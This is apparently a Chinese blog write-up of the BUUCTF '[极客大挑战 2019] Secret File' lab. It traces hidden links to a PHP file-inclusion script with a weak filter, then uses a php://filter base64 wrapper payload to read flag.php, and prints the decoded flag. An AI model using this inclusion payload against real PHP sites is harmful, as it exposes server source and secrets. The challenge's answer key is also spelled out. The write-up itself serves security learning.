练习 13 Web [极客大挑战 2019]Secret File

php伪协议请求,php代码审计 参考:BUUCTF__[极客大挑战 2019]Secret File_题解

没有任何上传和登录页面

查看前端源码

发现

sql 复制代码
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>

访问页面

"SECRET"可以点击,查看源码,链接的是action.php

sql 复制代码
<a id="master" href="./action.php" style="background-color:red;height:50px;width:200px;color:#FFFFFF;left:44%;"><font size="6">SECRET</font></a>

进去后,页面提示"没看清么"
同时顶部的php名字却是"end.php"

感觉是中间显示了什么,猜测要抓包看一下

(中间重开了靶机,域名有变化)

在点击Secert按钮后,抓包内容里显示有一个被注释掉的php页面提示

secr3t.php

访问,看到代码,审计。。

可以看到代码里过滤了不少名称的文件访问

tp,input,data

大概率就这三文件夹里

php 复制代码
<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这里卡住了,搜索wp ,提到了"php伪协议"

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=./flag.php

同时拿到了一串编码

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MWRjMTAxYjktZDQ4OC00ZDQ5LThkYmYtZWI5NDViOGJiZDM4fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解码后即可看到flag:flag{1dc101b9-d488-4d49-8dbf-eb945b8bbd38}

php 复制代码
<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{1dc101b9-d488-4d49-8dbf-eb945b8bbd38}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>
相关推荐
20年编程老鸟java+ai全栈13 分钟前
零基础搞定开发环境:PHP + Node.js + MongoDB + Python 一键安装全攻略
python·mongodb·node.js·php
北辰当尹5 小时前
第27天 安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
android·安全·php
edisao5 小时前
四。SpaceX、网络化与未来的跨越:低成本、高频次的真正威胁
大数据·开发语言·人工智能·科技·php
小小代码狗6 小时前
PHP伪协议和文件包含
网络·网络安全·php
qq_406176146 小时前
深耕JS防抖与节流:从原理到工程化实践的全方位指南
开发语言·php
吉吉617 小时前
在 Windows 和 Linux 的 VSCode 中配置 PHP Debug
开发语言·php
catchadmin8 小时前
PHP 8.5 闭包和一等可调用对象进入常量表达式
php
JaguarJack8 小时前
2026 年 PHP 函数式编程 优势与实际应用
后端·php·服务端
zorro_z8 小时前
ThinkPHP8学习篇(十五):验证
php
wr2005148 小时前
渗透笔记和疑惑
开发语言·php